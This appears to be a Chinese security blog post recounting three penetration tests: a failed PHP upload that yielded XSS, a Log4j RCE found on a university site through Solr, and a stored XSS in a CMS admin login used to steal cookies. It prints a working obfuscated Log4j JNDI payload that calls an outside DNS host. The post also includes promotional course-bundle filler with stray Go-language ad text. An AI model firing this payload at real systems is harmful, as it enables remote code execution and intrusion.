网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。
一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
测试到这里已经是遇到困难准备睡大觉了。
结果哈，啪的一下很快。万能学长Ssh1y一套连五鞭，扫出来个php文件
直接心潮澎湃，试试上传php。上传后发现不解析只下载。于是寻求穿越到其他目录，抓包测试发现也无法穿越。
想了很久不知道咋办。突然来了个思路，先上传个php文件，然后再上传个html，让html里的js把数据传到那个php文件让它去处理。说不定这俩结合起来能实现getshell。
测试了一下，确实，想法很美好，现实啪的一下给我来了个大比兜。又失败了。
最终测试成果就只有上传一个html造成个XSS
心碎了心碎了。
有机会拿到源码的话一定要看看这里的后端逻辑。
0x02某某大学 Apache log4j RCE
把这个例子拿出来讲是有原因，具体是什么原因请大家往下阅读
测试：
一个课程平台，不需要登录。搜索条件处直接打poc
context=2&q=%24{j%24{::-n}di:dns%24{::-:}%24{:😕}/27738c90%24{::-.}xssx1.com}zzzz
DNS收到反弹
后面测试发现另一个参数title也能触发
打到这里的时候就直接通报相关负责老师了，没有进一步的继续利用（后悔了，应该交个SRC的555）。
然后突然有个疑惑，这个站看起来也不像用了apache组件，为啥就给测出了log4j呢
根据后续的沟通了解到，这台服务器底层用了solr，因为solr的一些问题才产生的log4j。直接把solr调整一些配置就行了。
相关问题：https://solr.apache.org/security.html
因此，在我们遇到网站可能有solr服务的时候，可以直接试试log4j，说不定有意外收获hhh。
0x03 某小众CMS 后台登陆存储型XSS
去年十月份测的一个CMS，后台登录的地方可以直接打XSS然后窃取管理员Cookie。已修复。
测试：
/index.php?g=Admin
登录，抓包，修改密码，改为
访问后台登录日志处，直接弹窗
后续尝试窃取Cookie成功!
`黑客&网络安全如何学习
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
（都打包成一块的了，不能一一展开，总共300多集）
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！
由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新
适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！**
由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新
597
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
